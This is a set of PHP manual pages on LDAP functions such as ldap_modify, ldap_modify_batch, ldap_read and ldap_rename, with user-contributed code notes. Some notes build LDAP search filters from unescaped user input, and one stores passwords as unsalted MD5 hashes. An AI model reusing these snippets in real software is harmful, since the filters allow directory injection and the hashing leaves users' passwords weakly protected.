In this example, $userDn contains the dn of the user I want to modify, and $ad is the Active Directory ldaps connection)

$newPassword = "MyPassword";
$newPassword = "\"" . $newPassword . "\"";
$len = strlen($newPassword);
for ($i = 0; $i < $len; $i++)
        $newPassw .= "{$newPassword{$i}}\000";
$newPassword = $newPassw;
$userdata["unicodepwd"] = $newPassword;
$result = ldap_mod_replace($ad, $userDn, $userdata);
if ($result) echo "User modified!" ;
else echo "There was a problem!";

I found it hard to get a proper encoding for the unicodepwd attribute so this piece of code might help you ;-)
19-Jul-2002 08:32
Sometime,we cannot replace ldap_mod_replace  function  with ldap_mod_del function and ldap_mod_add fuction .We  don't have permission to delete an attribute but  we can replace it.
ondrej at sury dot cz 26-Feb-2002 02:31
in openldap 2.0.x you can use method with mod_del/mod_add only if the attribute have defined EQUALITY rule.
JoshuaStarr at aelana dot com 31-Aug-2001 08:28
To modify an attribute with a single value:
  $entry[mail] = "newmail@aelana.com";
  $results = ldap_mod_add($ldapConnID,$dn, $entry);

To modify an attribute with multiple values:
  $entry[mail][] = "newmail@aelana.com";
  $entry[mail][] = "altnewmail@aelana.com";
  $results = ldap_mod_add($ldapConnID,$dn, $entry);

To modify multiple attributes
  $entry[mail][] = "newmail@aelana.com";
  $entry[mail][] = "altnewmail@aelana.com";
  $entry[c]      = "US";
  $results = ldap_mod_add($ldapConnID,$dn, $entry);
oyvindmo at initio dot no 30-Nov-2000 01:57
ldap_mod_replace() and ldap_modify() are _exactly_ the same.  So, the comment that ldap_mod_replace() "performs the modification at the attribute level as opposed to the object level", has no root in reality.
yife at myrice-ltd dot com 16-Nov-2000 10:57
if i want to replace the special attribute but i don't replace other attribute ,i just use "ldap_mod_del" and "ldap_mod_add" ,the function seems to that


Batch and execute modifications on an LDAP entry

  • « ldap_mod_replace
  • ldap_modify »
  • PHP Manual
  • LDAP Functions
  • Batch and execute modifications on an LDAP entry

ldap_modify_batch

(PHP 5.4 >= 5.4.26, PHP 5.5 >= 5.5.10, PHP 5.6 >= 5.6.0)

ldap_modify_batch — Batch and execute modifications on an LDAP entry

Description

bool ldap_modify_batch ( resource $link_identifier , string $dn , array $entry )

Modifies an existing entry in the LDAP directory. Allows detailed specification of the modifications to perform.

Parameters

link_identifier

An LDAP link identifier, returned by ldap_connect().

dn

The distinguished name of an LDAP entity.

entry

An array that specifies the modifications to make. Each entry in this array is an associative array with two or three keys: attrib maps to the name of the attribute to modify, modtype maps to the type of modification to perform, and (depending on the type of modification) values maps to an array of attribute values relevant to the modification.

Possible values for modtype include:

LDAP_MODIFY_BATCH_ADD

Each value specified through values is added (as an additional value) to the attribute named by attrib.

LDAP_MODIFY_BATCH_REMOVE

Each value specified through values is removed from the attribute named by attrib. Any value of the attribute not contained in the values array will remain untouched.

LDAP_MODIFY_BATCH_REMOVE_ALL

All values are removed from the attribute named by attrib. A values entry must not be provided.

LDAP_MODIFY_BATCH_REPLACE

All current values of the attribute named by attrib are replaced with the values specified through values.

Note that any value for attrib must be a string, any value for values must be an array of strings, and any value for modtype must be one of the LDAP_MODIFY_BATCH_* constants listed above.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Add a telephone number to a contact

<?php
$dn = "cn=John Smith,ou=Wizards,dc=example,dc=com";
$modifs = [
    [
        "attrib"  => "telephoneNumber",
        "modtype" => LDAP_MODIFY_BATCH_ADD,
        "values"  => ["+1 555 555 1717"],
    ],
];
ldap_modify_batch($connection, $dn, $modifs);
?>

Example #2 Rename a user

<?php
$dn = "cn=John Smith,ou=Wizards,dc=example,dc=com";
$modifs = [
    [
        "attrib"  => "sn",
        "modtype" => LDAP_MODIFY_BATCH_REPLACE,
        "values"  => ["Smith-Jones"],
    ],
    [
        "attrib"  => "givenName",
        "modtype" => LDAP_MODIFY_BATCH_REPLACE,
        "values"  => ["Jack"],
    ],
];
ldap_modify_batch($connection, $dn, $modifs);
ldap_rename($connection, $dn, "cn=Jack Smith-Jones", NULL, TRUE);
?>

Example #3 Add two e-mail addresses to a user

<?php
$dn = "cn=Jack Smith-Jones,ou=Wizards,dc=example,dc=com";
$modifs = [
    [
        "attrib"  => "mail",
        "modtype" => LDAP_MODIFY_BATCH_ADD,
        "values"  => [
            "jack.smith@example.com",
            "jack.smith-jones@example.com",
        ],
    ],
];
ldap_modify_batch($connection, $dn, $modifs);
?>

Example #4 Change a user's password

<?php
$dn = "cn=Jack Smith-Jones,ou=Wizards,dc=example,dc=com";
$modifs = [
    [
        "attrib"  => "userPassword",
        "modtype" => LDAP_MODIFY_BATCH_REMOVE,
        "values"  => ["Tr0ub4dor&3"],
    ],
    [
        "attrib"  => "userPassword",
        "modtype" => LDAP_MODIFY_BATCH_ADD,
        "values"  => ["correct horse battery staple"],
    ],
];
ldap_modify_batch($connection, $dn, $modifs);
?>

Example #5 Change a user's password (Active Directory)

<?php
function adifyPw($pw)
{
    return iconv("UTF-8", "UTF-16LE", '"' . $pw . '"');
}

$dn = "cn=Jack Smith-Jones,ou=Wizards,dc=ad,dc=example,dc=com";
$modifs = [
    [
        "attrib"  => "unicodePwd",
        "modtype" => LDAP_MODIFY_BATCH_REMOVE,
        "values"  => [adifyPw("Tr0ub4dor&3")],
    ],
    [
        "attrib"  => "unicodePwd",
        "modtype" => LDAP_MODIFY_BATCH_ADD,
        "values"  => [adifyPw("correct horse battery staple")],
    ],
];
ldap_modify_batch($connection, $dn, $modifs);

User Contributed Notes

There are no user contributed notes for this page.


Modify an LDAP entry

  • « ldap_modify_batch
  • ldap_next_attribute »
  • PHP Manual
  • LDAP Functions
  • Modify an LDAP entry

ldap_modify

(PHP 4, PHP 5)

ldap_modify — Modify an LDAP entry

Description

bool ldap_modify ( resource $link_identifier , string $dn , array $entry )

Modify the existing entries in the LDAP directory. The structure of the entry is same as in ldap_add().

Parameters

link_identifier

An LDAP link identifier, returned by ldap_connect().

dn

The distinguished name of an LDAP entity.

entry

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Note: This function is binary-safe.

See Also

  • ldap_rename() - Modify the name of an entry

User Contributed Notes

spam at bilgoraj dot info 02-Aug-2013 07:38
If You can`t add attribute objectclass to existing object  using ldap_modify - use ldap_mod_add - it works.
php_notes at grumz dot net 18-Apr-2007 03:09
Following goetz at rvs dot uni-hannover dot de's comment, it is not exactly true that ldap_modify can't change objectclass.

In fact, it's impossible to add an objectclass which is set as STRUCTURAL in the schema description. But you can add an objectclass set as AUXILIARY. See OpenLDAP FAQ below for explanation why :

http://www.openldap.org/faq/data/cache/1341.html

For example, if you have an ldap entry of type "device", which is a structural objectclass, named "cn=myNetCard,ou=Networks,dc=example,dc=com", you can do this :

<?php

$entry["objectclass"][0] = "device";
$entry["objectclass"][1] = "ieee802Device"; // add an auxiliary objectclass
$entry["macAddress"][0] = "aa:bb:cc:dd:ee:ff";

ldap_modify ($cnx, "cn=myNetCard,ou=Networks,dc=example,dc=com", $entry);
?>

But this will not work :

<?php

$entry["objectclass"][0] = "device";
$entry["objectclass"][1] = "ipNetwork"; // add a structural objectclass
$entry["ipNetworkNumber"][0] = "1.2.3.4";

ldap_modify ($cnx, "cn=myNetCard,ou=Networks,dc=example,dc=com", $entry);
?>

You will get the following error : "Cannot modify object class"
kevin at guarana dot org 03-Apr-2007 03:44
If you're seeing confusing "Type or value exists" errors from ldap_modify, the reason could be that you're attempting to add two identical values for a multi-valued attribute.  ie, something like:

<?php
$le = array("mail" => array("foo@bar.com", "foo@bar.com"));
$result = ldap_modify($ldap_link, $dn, $le);
?>
docwoelle at ipwatch dot de 11-Apr-2006 10:44
If you want to disable an account in an Active Directory of Windows,
you may try this (it works for me in a Win2k environment):

(foo.bar should be replaced in "$ldapBase" to the correct
 domain, e.g. "DC=phpfreackx,DC=com" if your domain is phpfreackx.com)

domctrl = domain controller
domadlogin = domain admin login
domadpw = domain admin password
username = loginname of useraccount (e.g. "john.doe")
enable =1 (if you want to enable it, 0 if it should be disabled)

<?php
function userchange($username,$enable=1,$domadlogin,$domadpw,$domctrl)
{
$ldapServer = $domctrl;
$ldapBase = 'DC=foo,DC=bar';
$ds = ldap_connect($ldapServer);
if (!$ds) {die('Cannot Connect to LDAP server');}
$ldapBind = ldap_bind($ds,$domadlogin,$domadpw);
if (!$ldapBind) {die('Cannot Bind to LDAP server');}
ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3);
$sr = ldap_search($ds, $ldapBase, "(samaccountname=$username)");
$ent= ldap_get_entries($ds,$sr);
$dn=$ent[0]["dn"];
// Deactivate
$ac = $ent[0]["useraccountcontrol"][0];
$disable=($ac |  2); // set all bits plus bit 1 (=dec2)
$enable =($ac & ~2); // set all bits minus bit 1 (=dec2)
$userdata=array();
if ($enable==1) $new=$enable; else $new=$disable; //enable or disable?
$userdata["useraccountcontrol"][0]=$new;
ldap_modify($ds, $dn, $userdata); //change state
$sr = ldap_search($ds, $ldapBase, "(samaccountname=$username)");
$ent= ldap_get_entries($ds,$sr);
$ac = $ent[0]["useraccountcontrol"][0];
if (($ac & 2)==2) $status=0; else $status=1;
ldap_close($ds);
return $status; //return current status (1=enabled, 0=disabled)
}

// use this to disable an account:
// userchange('john.doe@foo.bar',0,'admin@foo.bar', 'secret','domctrl.foo.bar');
// ..but this to enable it:
// userchange('john.doe@foo.bar',1,'admin@foo.bar', 'secret','domctrl.foo.bar');
?>
jmw1982 at gmail dot com 28-Nov-2005 11:03
If you're writing a multiple values for an attribute with ldap_modify (), the function will attempt to write all entries in the value array even if those entries are blank.  Setting blank entries to a blank array in the manner used for attribute deletion, ie:

$attributes[$attr_name][3] = array ();

results in the string "Array" being written to the directory for that value.  The only way I was able to find to do what I wanted - only write the values for the attribute that were submitted on the form - was to check if each attribute had multiple values and unset () blank values, eg:

                foreach ($attributes as $key => $cur_val) {
                        if ($cur_val== '') {
                                $attributes[$key] = array ();
                        }
                        if (is_array ($cur_val)) {
                                foreach ($cur_val as $mv_key => $mv_cur_val) {

                                        if ($mv_cur_val == '') {
                                                unset ($attributes[$key][$mv_key]);
                                        }
                                        else {
                                                $attributes[$key][$mv_key] = $mv_cur_val;
                                        }
                                }
                        }
                }
chris at uffbasse dot de 14-Jun-2004 06:57
To pinpoint the delete issue:

with newer OpenLdap versions this will fail:

$values["mail"] = "";
ldap_modify($conn_id, $dn, $values);

or
$values["mail"][0] = "";
ldap_modify($conn_id, $dn, $values);

BUT this works:

$values["mail"] = array();
ldap_modify($conn_id, $dn, $values);

or
$values["mail"][0] = array();
ldap_modify($conn_id, $dn, $values);
ace at suares dot nl 08-Dec-2003 04:41
Some comments on ldap_modify, and especially the user comment from tengel at fluid dot com

OpenLDAP 2.1.22
If an attribute is tagged as MUST in the schema, the attribute must be there. Wheter it may contain and empty value depends on the SYNTAX for that attribute.

DirectoryString MAY NOT be empty; OctetString MAY be empty. As far as I can see, IA5String MAY NOT be empty.

If an attribute is defined as MAY in the schema, the attribute may or may not be there. If it is there, it MAY or MAY NOT be empty, depending on its SYNTAX.

PHP 4.3.1

It seems that ldap_modify() will take an array of attributes to modify.

For multivalued attributes, passing an empty array, wil DELETE the attribute, regardless of it's previous value(s), and regardless if the attribute was there before the modify.

If the multivalued attribute is defined as MAY, this will work. If the attribute is defined as MUST, OpenLDAP will generate the error: 'LDAP error 65: Object class violation'

If an attribute's SYNTAX defines that it MAY NOT be empty, trying to add or modify the attribute with an empty value will genereate the error: 'LDAP error 21: Invalid syntax'.
Also, in the logfile, if set with sufficient debuglevel, the string

    value #0 invalid per syntax

will be present.

Trying to pass an empty array to ldap_add() for a any attribute (multi or single valued) will result in the error 'LDAP error 2: Protocol error', regardless if the attribute is defined as MUST or MAY.

Note that this differs form passing an array with elements that have no value. In the latter case, it depends on the SYNTAX for that attribute if that is allowed.

If the attribute is single-valued, passing an array with one element, WILL change the value of the attribute. In the user comments on php.net it is suggested that if you want to modify a single valued attribute, you must pass a string, not an array with one element. My experience is that an array with a single element will work just as well.

_Ace

website: http://www.suares.nl * http://www.qwikzite.nl
fechner at ponton dot de 22-Oct-2003 09:32
If you are trying to change the userPassword attribute when using md5 hashes, try the following lines:

$new["userPassword"] = '{md5}' . base64_encode(pack('H*', md5($newpass_in_plaintext)));
ldap_modify($ds, $dn, $new);
davidsmith at byuNOSPAM dot edu 13-Jul-2003 02:52
The $entry parameter can be an array of values for an attribute. Just be careful that your array's indices are numerically contiguous. For example, when using this $entry array, ldap_modify will fail with little explanation:

   $entry = array( 0 => 'foo', 2 => 'bar' );

While this one will work just fine:

   $entry = array( 0 => 'foo', 1 => 'bar' );

Hope this helps someone out.
jpdalbec at ysu dot edu 14-Jun-2003 12:13
Nick T.'s comment above is out of date.
The PHP LDAP interface currently supports direct modification of the DN using the ldap_rename() function.
goetz at rvs dot uni-hannover dot de 27-Mar-2003 04:22
Remember that you can NOT modify the attribute 'objectclass' with ldap_modify!

If you use a search result as basis for your changes, be sure to 'unset()' all numbered indices, 'count' indicies AND index 'objectclass' !
NOSPAMjjhuff at mspin dot net 13-Aug-2002 05:50
To delete entries:

$data["description"] = array();
ldap_modify($conn, $dn,$data);
tengel at fluid dot com 22-Mar-2001 03:57
The behaviour of OpenLDAP from 1.x to 2.x changed; in 1.x, when you passed ldap_modify the array, if the value was empty that attribute would be deleted.  In 2.x, you get an "Invalid Syntax" error and the modify fails.

This requires the ldap_mod_del function; unfortunately, that operation requires the attribute to be deleted have it's *old* value specified -- as you can imagine, if you're taking input from a CGI form, the attribute to be deleted's value is now missing (i.e., the user blanked out that textbox in the form and clicked Submit).

So, you're in a bit of a conundrum -- you want to delete "empty" form values, but you need their old value to delete them.  There are many ways to handle this, but I chose this approach:

<?php
// The first is what to add, the second to remove
$entry=array();
$delval=array();

// Imagine if you will, $o and $title are
// form fields with text boxes for data
if($o!="") { $entry["o"]="$o"; } else { $delval[]="o"; }
if($title!="") { $entry["title"]="$title"; } else { $delval[]="title"; }

// First try the normal modify with $entry
// $ldap, $dn, $BASEDN are all set up earlier
if (@ldap_modify($ldap, $dn, $entry)) {
  // then do the dirty work
  $filter = sprintf("(&(uid=%s)(sn=%s))",$uid,$sn);
  $sres = ldap_search($ldap, $BASEDN, $filter, $delval);
  $delent = ldap_first_entry($ldap, $sres);
  $delarr = ldap_get_attributes($ldap, $delent);
  $findel=array();
  for($i=0; $i<$delarr["count"]; $i++) {
    $attr = $delarr[$i];
    $totl = $delarr[$attr]["count"];
    for($z=0; $z<$totl; $z++) {
      if ($totl = 1) {
        $findel[$attr]=$delarr[$attr][$z];
      } else {
        $findel[$attr][$z]=$delarr[$attr][$z];
      }
    }
  }
  if(@ldap_mod_del($ldap, $dn, $findel)) {
    print("<H3>Modified Entry!</H3>\n");
    print("<BR>\n");
  } else {
    $error=ldap_error($ldap);
    print("<H3>Attribute Delete Failed!</H3>\n");
    print("<BR>\n($error)\n");
  }
} else {
  $error=ldap_error($ldap);
  print("<H3>Modify Failed!</H3>\n");
  print("<BR>\n($error)\n");
}
?>
nickt at powys dot gov dot uk 23-Apr-1999 02:23
Modifying existing LDAP information using ldap_modify()

The link_identifier must result from a call to connect to the server with authority to update entries, usually requiring an authenticated bind - ie you provide a suitable dn and password in the ldap_bind() call.

The  dn  must be a single specific dn that exists on the LDAP server.   There is no wildcard mechanism in LDAP to globally change multiple dn entries.

The entry array must be in one of two different forms, according to whether just one entry is to be stored in the directory for a particular attribute, or whether multiple entries are to be stored for the attribute.

Where a single entry is to be stored for an attribute - say just a single email address - then you use the general form

             <?php $newinfo[ <attribute_name> ]="whatever" ; ?>

for example ...

             <?php $newinfo["mail"]="john@myorg.com" ; ?>

Where multiple entries are to be stored for an attribute  -  say a number of email addresses for one person  -  then you use the general form

             <?php
             $newinfo[ <attribute_name> ][0] = "whatever" ;
             $newinfo[ <attribute_name> ][1] = "another" ;
             ?>

for example ...

             <?php
             $newinfo["mail"][0]="johnw@myorg.com" ;
             $newinfo["mail"][1]="jwaterson@somewhere.org" ;
             ?>

Further notes on ldap_modify()

The modify call leaves entries for all other attributes unaltered.   So if you just want to update the entry for the "mail" attribute, then all that is required is:

     <?php
     $newinfo[mail]="nick@county.gov.uk";
     ldap_modify($valid_ldaplink, $valid_dn, $newinfo);
     ?>

However, if there were multiple entries for the mail attribute present on the LDAP database when you run the above code, then all the existing mail entries would be deleted and be replaced by the single "mail" entry.

If you have reason to expect multiple values for a particular attribute (more that one email entry, for example) you should make sure you read all the entries from the ldap server first, and then save a modified array.

The PHP LDAP interface does not currently support direct modification of the dn.  If the dn needs changing, the only option is to read all entries for the dn and save these to a new, modified, dn before deleting the complete entry for the original dn.


Get the next attribute in result

  • « ldap_modify
  • ldap_next_entry »
  • PHP Manual
  • LDAP Functions
  • Get the next attribute in result

ldap_next_attribute

(PHP 4, PHP 5)

ldap_next_attribute — Get the next attribute in result

Description

string ldap_next_attribute ( resource $link_identifier , resource $result_entry_identifier )

Retrieves the attributes in an entry. The first call to ldap_next_attribute() is made with the result_entry_identifier returned from ldap_first_attribute().

Parameters

link_identifier

An LDAP link identifier, returned by ldap_connect().

result_entry_identifier

ber_identifier

The internal state of the pointer is maintained by this parameter.

Note:

This parameter is no longer used as this is now handled automatically by PHP. For backwards compatibility PHP will not throw an error if this parameter is passed.

Return Values

Returns the next attribute in an entry on success and FALSE on error.

Changelog

Version | Description
5.2.4 | The ber_identifier was removed. This is now handled automatically by PHP.

See Also

  • ldap_get_attributes() - Get attributes from a search result entry

User Contributed Notes

There are no user contributed notes for this page.


Get next result entry

  • « ldap_next_attribute
  • ldap_next_reference »
  • PHP Manual
  • LDAP Functions
  • Get next result entry

ldap_next_entry

(PHP 4, PHP 5)

ldap_next_entry — Get next result entry

Description

resource ldap_next_entry ( resource $link_identifier , resource $result_entry_identifier )

Retrieve the entries stored in the result. Successive calls to the ldap_next_entry() return entries one by one till there are no more entries. The first call to ldap_next_entry() is made after the call to ldap_first_entry() with the result_entry_identifier as returned from the ldap_first_entry().

Parameters

link_identifier

An LDAP link identifier, returned by ldap_connect().

result_entry_identifier

Return Values

Returns entry identifier for the next entry in the result whose entries are being read starting with ldap_first_entry(). If there are no more entries in the result then it returns FALSE.

See Also

  • ldap_get_entries() - Get all result entries

User Contributed Notes

me at xbug dot de 17-Jul-2014 07:13
This is working for me in php 5.5:

<?php
$ldap_host = 'ldap://ldap.example.com';
$base_dn = "ou=users,dc=example,dc=com";
$connect = ldap_connect($ldap_host);

$result = ldap_search($connect, $base_dn, "(cn=*)");

$entry = ldap_first_entry($connect, $result);

do {
    $dn = ldap_get_dn($connect, $entry);
    echo "DN is $dn\n";
} while ($entry = ldap_next_entry($connect, $entry));

ldap_close($connect);
?>


Get next reference

  • « ldap_next_entry
  • ldap_parse_reference »
  • PHP Manual
  • LDAP Functions
  • Get next reference

ldap_next_reference

(PHP 4 >= 4.0.5, PHP 5)

ldap_next_reference — Get next reference

Description

resource ldap_next_reference ( resource $link , resource $entry )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Extract information from reference entry

  • « ldap_next_reference
  • ldap_parse_result »
  • PHP Manual
  • LDAP Functions
  • Extract information from reference entry

ldap_parse_reference

(PHP 4 >= 4.0.5, PHP 5)

ldap_parse_reference — Extract information from reference entry

Description

bool ldap_parse_reference ( resource $link , resource $entry , array &$referrals )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Extract information from result

  • « ldap_parse_reference
  • ldap_read »
  • PHP Manual
  • LDAP Functions
  • Extract information from result

ldap_parse_result

(PHP 4 >= 4.0.5, PHP 5)

ldap_parse_result — Extract information from result

Description

bool ldap_parse_result ( resource $link , resource $result , int &$errcode [, string &$matcheddn [, string &$errmsg [, array &$referrals ]]] )

Parses an LDAP search result.

Parameters

link

An LDAP link identifier, returned by ldap_connect().

result_identifier

An LDAP result resource, returned by ldap_list() or ldap_search().

errcode

A reference to a variable that will be set to the LDAP error code in the result, or 0 if no error occurred.

matcheddn

A reference to a variable that will be set to a matched DN if one was recognised within the request, otherwise it will be set to NULL.

errmsg

A reference to a variable that will be set to the LDAP error message in the result, or an empty string if no error occurred.

referrals

A reference to a variable that will be set to an array set to all of the referral strings in the result, or an empty array if no referrals were returned.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 ldap_parse_result() example

<?php
$result = ldap_search($link, "cn=userref,dc=my-domain,dc=com", "(cn=user*)");
$errcode = $dn = $errmsg = $refs =  null;
if (ldap_parse_result($link, $result, $errcode, $dn, $errmsg, $refs)) {
    // do something with $errcode, $dn, $errmsg and $refs
}
?>

User Contributed Notes

There are no user contributed notes for this page.


Read an entry

  • « ldap_parse_result
  • ldap_rename »
  • PHP Manual
  • LDAP Functions
  • Read an entry

ldap_read

(PHP 4, PHP 5)

ldap_read — Read an entry

Description

resource ldap_read ( resource $link_identifier , string $base_dn , string $filter [, array $attributes [, int $attrsonly [, int $sizelimit [, int $timelimit [, int $deref ]]]]] )

Performs the search for a specified filter on the directory with the scope LDAP_SCOPE_BASE. So it is equivalent to reading an entry from the directory.

Parameters

link_identifier

An LDAP link identifier, returned by ldap_connect().

base_dn

The base DN for the directory.

filter

An empty filter is not allowed. If you want to retrieve absolutely all information for this entry, use a filter of objectClass=*. If you know which entry types are used on the directory server, you might use an appropriate filter such as objectClass=inetOrgPerson.

attributes

An array of the required attributes, e.g. array("mail", "sn", "cn"). Note that the "dn" is always returned irrespective of which attributes types are requested.

Using this parameter is much more efficient than the default action (which is to return all attributes and their associated values). The use of this parameter should therefore be considered good practice.

attrsonly

Should be set to 1 if only attribute types are wanted. If set to 0 both attributes types and attribute values are fetched which is the default behaviour.

sizelimit

Enables you to limit the count of entries fetched. Setting this to 0 means no limit.

Note:

This parameter can NOT override server-side preset sizelimit. You can set it lower though.

Some directory server hosts will be configured to return no more than a preset number of entries. If this occurs, the server will indicate that it has only returned a partial results set. This also occurs if you use this parameter to limit the count of fetched entries.

timelimit

Sets the number of seconds how long is spend on the search. Setting this to 0 means no limit.

Note:

This parameter can NOT override server-side preset timelimit. You can set it lower though.

deref

Specifies how aliases should be handled during the search. It can be one of the following:

  • LDAP_DEREF_NEVER - (default) aliases are never dereferenced.
  • LDAP_DEREF_SEARCHING - aliases should be dereferenced during the search but not when locating the base object of the search.
  • LDAP_DEREF_FINDING - aliases should be dereferenced when locating the base object but not during the search.
  • LDAP_DEREF_ALWAYS - aliases should be dereferenced always.

Return Values

Returns a search result identifier or FALSE on error.

Changelog

Version | Description
4.0.5 | Parallel searches support was added. See ldap_search() for details.

User Contributed Notes

ronny at nxc dot no 21-Mar-2013 12:14
The array in the attributes parameter needs to be an indexed array with numeric keys in ascending order. Like this:

Array
(
    [0] => this
    [1] => is
    [2] => a
    [3] => test
)

If there are missing keys in the array, then no result will be returned. This will not work:

Array
(
    [0] => this
    [1] => is
    [3] => test
)
me at example dot com 30-Aug-2007 09:23
In the previous example the

$ds = ldap.myserver.com // your ldap server

should be

$ds = ldap_connect( "ldap.myserver.com" ) ; // your ldap server
cnicholl at yahoo dot com 21-Dec-2005 08:21
Clarification of the ldap_read command syntax:

If you just want to pull certain attributes from an object and you already know it's dn, the ldap_read command can do this as illustrated below.  It will be less overhead than ldap_search.

The string base_dn which is normally used to set the top context for a recursive ldap_search is used slightly differently with this command.  It is used to specify the actual object with the full dn.  (Hopefully this saves someone else a couple hours trying this command out.)

<?php
$ds = ldap.myserver.com // your ldap server
  $dn = "cn=username,o=My Company, c=US"; //the object itself instead of the top search level as in ldap_search
  $filter="(objectclass=*)"; // this command requires some filter
  $justthese = array("ou", "sn", "givenname", "mail"); //the attributes to pull, which is much more efficient than pulling all attributes if you don't do this
      $sr=ldap_read($ds, $dn, $filter, $justthese);
          $entry = ldap_get_entries($ds, $sr);

echo $entry[0]["mail"][0] . "is the email address of the cn your requested";
echo $entry[0]["sn"][0] . "is the sn of the cn your requested";
ldap_close($ds);
?>

This prints out the specified users mail and surname for example.
sbarnum at mac dot com 18-Jul-2001 11:15
This differs from ldap_search() by not recursing down to sub-entries.  if you know the dn of the item you're looking for and only want info on that entry, use ldap_read() and pass it the full dn of the item you want.

It also seems that you'd alway want something like objectclass=* for the filter, since you're only searching on one entry.


Modify the name of an entry

  • « ldap_read
  • ldap_sasl_bind »
  • PHP Manual
  • LDAP Functions
  • Modify the name of an entry

ldap_rename

(PHP 4 >= 4.0.5, PHP 5)

ldap_rename — Modify the name of an entry

Description

bool ldap_rename ( resource $link_identifier , string $dn , string $newrdn , string $newparent , bool $deleteoldrdn )

The entry specified by dn is renamed/moved.

Parameters

link_identifier

An LDAP link identifier, returned by ldap_connect().

dn

The distinguished name of an LDAP entity.

newrdn

The new RDN.

newparent

The new parent/superior entry.

deleteoldrdn

If TRUE the old RDN value(s) is removed, else the old RDN value(s) is retained as non-distinguished values of the entry.

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Note:

This function currently only works with LDAPv3. You may have to use ldap_set_option() prior to binding to use LDAPv3. This function is only available when using OpenLDAP 2.x.x OR Netscape Directory SDK x.x.

See Also

  • ldap_modify() - Modify an LDAP entry

User Contributed Notes

web at davss dot com 12-Sep-2014 06:20
A thing to remember when using ldap_rename or any other method that is not doing just renaming but creating a new parent and moving children is that you'll loose your original entryUUID!
We wanted to do a local DB mapping for LDAP->DB user groups thinking that it would be the most stable resource identifier only to find out we were absolutely wrong.
Peter Kehl 09-Apr-2008 11:51
Here's some clarification about the parameters when renaming a container in Novell eDirectory:
- $new_rdn is in format "ou=new container name"
- newparent parameter is NULL - because we're renaming and not moving
- deleteoldrdn parameter if TRUE then old value of OU attribute is stored as a secondary/further value of LDAP OU attribute. Novell ConsoleOne shows it as 'Other Name' attribute.

$full_old_dn= "ou=Cuckoo,ou=London,ou=UK,ou=Europe,o=Happy";
$new_rdn= "ou=Cuckoo Group";

ldap_rename( $conn, $full_old_dn, $new_rdn, NULL, TRUE);
backports at gmail dot com 15-Jun-2007 04:26
Though clearly mentioned, the following had me in spin for a good 10 minutes.

Ensure:

if (!ldap_set_option($conn, LDAP_OPT_PROTOCOL_VERSION, 3)) {
   // do something horrible
}

has been set _before_ you actually bind :)
hyc at openldap dot org 06-Oct-2005 01:49
Contrary to Richard Esplin's statement, this *is* the correct function to use for renaming subtrees and moving entries from one place in the tree to another. Just that most LDAP server implementations don't support moving non-leaf entries.

E.g. In OpenLDAP, moving a non-leaf entry is only supported when using the back-hdb database backend. SunOne only has one database backend, and it apparently doesn't handle this type of operation.
venakis at ccf dot auth dot gr 18-Oct-2004 11:52
If you are using Sun Directory Server 5.2, please note that you can't use ldap_rename to move an entry. According to Sun's own documentation: "[...] At this point in time, Directory Server does not support the ability to use the modify DN operation to move an entry from one location in the directory tree to another location." (http://docs.sun.com/source/817-6707/resultcodes.html)
The problem is that php does not return any error and the operation seems to complete succesfully, except for the fact that nothing really happens. If you check the server logs, there will be an "error 53" entry (server is unwilling to perform).
hope this saves someone's couple of hours nasty searching...
Viper_SB at NOSPAMyahoo dot com 30-Jun-2004 11:41
Since this function isn't documented to well I thought I'd help out those trying to get this to work.

<?php
// $dn is the full DN of the entry you wish to move
$dn = 'cn=user1,ou=group1,dc=mydomain';
/*
    note that $newRdn IS NOT a full DN, it is only the start
    I've NOT gotten it to change attributes for the RDN
    but that could just be my schema
*/
$newRdn = 'cn=user2';
// $newparent IS the full DN to the NEW parent DN that you want to move/rename to
$newParent = 'ou=group2,dc=mydomain';
ldap_rename($link, $dn, $newRdn, $newParent, true);
?>

Like I said above I haven't been able to get it to rename to a DIFFERENT attribute so deleteoldrdn has no affect on it.
Richard Esplin 16-Nov-2003 03:37
ldap_rename can only move leaf nodes of the directory tree. If your ldap entry has any child entries, then ldap_rename is not the tool that you need. We needed to change usernames, but that alters the dn. ldap_rename wouldn't work because each of our user ldap entries has a couple associated child entries. We had to write a function to recursively copy the subtree to the new location, and then delete the original version. Here is the basic algorithm:

function recursive_move($old_username, $new_username)
    ldap_search on the old username to get the correct entry
    ldap_get_attributes to get an array of values from the ldap entry
    foreach attribute in array, replace occurences of $old_username with $new_username
    ldap_add the attribute array into the new location
    ldap_modify any additional attributes
    ldap_list each child entry
    call function recursive_move on each child
    ldap_delete current entry
    return
alex at netflex dot nl 16-Oct-2002 05:29
Works also with eDirectory 8 (NW6).

If you are moving a user, remember that you also change the uid!
04-Apr-2002 12:10
To get this function working make sure that the value for $newrdn is relative.


Bind to LDAP directory using SASL

  • « ldap_rename
  • ldap_search »
  • PHP Manual
  • LDAP Functions
  • Bind to LDAP directory using SASL

ldap_sasl_bind

(PHP 5)

ldap_sasl_bind — Bind to LDAP directory using SASL

Description

bool ldap_sasl_bind ( resource $link [, string $binddn = NULL [, string $password = NULL [, string $sasl_mech = NULL [, string $sasl_realm = NULL [, string $sasl_authc_id = NULL [, string $sasl_authz_id = NULL [, string $props = NULL ]]]]]]] )
Warning

This function is currently not documented; only its argument list is available.

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Note: Requirement
ldap_sasl_bind() requires SASL support (sasl.h). Be sure --with-ldap-sasl is used when configuring PHP otherwise this function will be undefined.

Changelog

Version | Description
5.3.3 | Support on Windows was added.

User Contributed Notes

mbaynton 17-Jul-2014 12:01
A hint for debugging bind failures in  your environment: many of the warnings PHP issues from this mehod begin "PHP Warning:  ldap_sasl_bind(): Unable to bind to server: [reason]" where [reason] can be a variety of strings. This makes it appear the failure originates with ldap_sasl_bind, but all [reason]s really come from the underlying c function ldap_sasl_interactive_bind_s. That function is used by lots of software besides php, so I've found a greater wealth of troubleshooting information by searching the web for "ldap_sasl_interactive_bind_s [reason]"
devel at romanr dot info 11-Oct-2012 05:16
There is some reenterability bug: you can't use this function several times in a single process. PHP process (apache or fastcgi) should be restarted. Consider PHP_FCGI_MAX_REQUESTS=1
